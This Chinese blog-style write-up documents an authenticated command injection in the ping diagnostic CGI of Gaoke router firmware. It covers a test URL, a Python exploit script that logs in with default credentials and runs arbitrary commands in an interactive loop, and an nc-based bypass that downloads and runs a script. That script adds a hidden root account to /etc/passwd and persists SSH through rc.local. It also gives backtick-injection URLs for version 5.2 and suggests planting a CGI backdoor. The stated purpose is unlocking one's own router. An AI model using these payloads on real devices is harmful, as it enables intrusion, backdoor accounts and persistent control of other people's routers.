偶然在上网冲浪的时候看到了这个漏洞,拿以前的一个刷的高恪的K2试了一下还真有,尝试了一下漏洞利用,打开高恪SSH。
本文仅供学术研究使用,除此以外的使用后果自负。
验证漏洞是否存在
- 路由器后台登录
- 访问(自己替换路由器后台地址):
http://192.168.1.1/cgi-bin/webui/admin/tools/app_ping/diag_ping/%20;ps%202%3E&1;%20/5/6/a.com_
- 效果(显示出路由器进程就说明漏洞存在):
适用版本
不太清楚,我K2(GOCLOUD S1A_8M (K2))的版本是4.2.7.16528
更新:测试高恪5.2最新版仍存在该漏洞,但是貌似过滤了分号,依旧可以通过nc上传脚本来执行。
漏洞利用
脚本(路由器后台地址,用户名,密码自己改):
# -*- coding:utf-8 -*-
import requests
import time
from urllib.parse import quote
# 执行命令EXP
def execute_command(command, TARGET):
try:
url = TARGET + "/cgi-bin/webui"
timestamp = str(time.time()).split(".")[0]
# 创建session
request1 = requests.session()
login = {"csrftoken": "MTU5MzQ5NjI5MEdPQ0xPVUQ=",
"password": "admin",
"timestamp": "1593496290",
"username": "admin"}
# 发送登录数据
r = request1.post(url, data=login, verify=False, timeout=10)
print(r.status_code)
url2 = TARGET + quote("/cgi-bin/webui/admin/tools/app_ping/diag_ping/ ;" + command + " 2>&1; /5/6/a.com_")
r2 = request1.post(url2, verify=False, timeout=10)
print(r2.url)
print(r2.text)
except Exception as e:
print(e)
if __name__ == '__main__':
command = 'busybox'
while True:
execute_command(command, 'http://192.168.1.1')
command = input("~$: ")
效果:
存在的问题
这个命令注入用把"/"截断了,输入命令:ls /; ps
,可以看到输出中斜杠前的东西没了:
一般绕过这种都是通过编码,可是这个K2的不支持base64之类的命令,想反弹shell的话,nc也是一个只具有基本功能的nc。
绕过:通过nc上传shell脚本
在路由器的lan中连接一个linux系统,新建一个1.sh
的文件:
#!/bin/sh
# ls -l /etc/dropbear
# ls -l /etc/init.d
# ls -l /etc/rc.d
# cat /etc/init.d/dropbear
# cat /etc/init.d/rcS
echo "Generate host key"
rm -rf /etc/dropbear/dropbear_rsa_host_key
rm -rf /etc/dropbear/dropbear_dss_host_key
/usr/bin/dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key
/usr/bin/dropbearkey -t dss -f /etc/dropbear/dropbear_dss_host_key
# echo "Exec /etc/init.d/dropbear"
# chmod +x /etc/init.d/dropbear
# /etc/init.d/dropbear enable
# /etc/init.d/dropbear start
echo "Check host key"
ls -l /etc/dropbear
date
echo "Add User susu password admin"
cat>>/etc/passwd<<EOF
susu:\$1\$aLBvC2Ao\$E4V2uG3GNwhlWczjZXb.31:0:0:root:/root:/bin/ash
EOF
echo "Update /etc/rc.local"
cat>/etc/rc.local<<EOF
# Put your custom commands here that should be executed once
# the system init finished. By default this file does nothing.
# /etc/init.d/dropbear start
/usr/sbin/dropbear
exit 0
EOF
echo "Check /etc/rc.local"
cat /etc/rc.local
echo "Start dropbear"
dropbear
上述脚本说明:脚本还加了一个用户名为susu的root用户,密码默认是admin,可以通过命令
openssl passwd -1
自行修改:
将生成的替换脚本中对应的内容即可
然后启动nc,监听一个端口,有连接就把这个sh文件发给他:nc -v -l -p 4444 < 1.sh
在刚才脚本获取到的shell中执行(目标ip和端口是刚打开的这个linux机器的):nc 192.168.1.137 4444 >1.sh
效果
- nc监听端:
- 路由器端可以执行
ls -l
查看:
此时1.sh没有执行权限,所以执行chmod +x 1.sh
,然后运行1.sh:sh 1.sh
此时可以通过运行ps查看脚本是否成功执行:
等一会就可以用用户名admin,你自己的密码,或者用户名susu,密码admin连上高恪路由的SSH了:
高恪5.2最新版poc
型号:SX1200
版本:5.2.0.19862
漏洞存在验证:登录web页面后访问
http://192.168.1.1:8080/cgi-bin/webui/admin/tools/app_ping/diag_ping/eth0%60reboot%60/5/6/a.com
导致路由器重启
写一个shell脚本,1.sh
#!/bin/sh
reboot
本机启动nc监听:nc -vlp 5555 < 1.sh
路由器访问(nc连接的目标ip自行修改)令其下载该sh文件:http://192.168.1.1:8080/cgi-bin/webui/admin/tools/app_ping/diag_ping/eth0%60nc%20192.168.1.1222%205555%20%3E%201.sh%60/5/6/a.com
赋予执行权限:http://192.168.1.1:8080/cgi-bin/webui/admin/tools/app_ping/diag_ping/eth0%60chmod%20%2Bx%201.sh%60/5/6/a.com
执行1.sh:http://192.168.1.1:8080/cgi-bin/webui/admin/tools/app_ping/diag_ping/eth0%60sh%201.sh%60/5/6/a.com
路由器重启,至于1.sh写什么,自行发挥
顺便,既然是cgi,也可以自己编译一个cgi后门扔上去,直接通过web访问也不错,更为稳妥方便。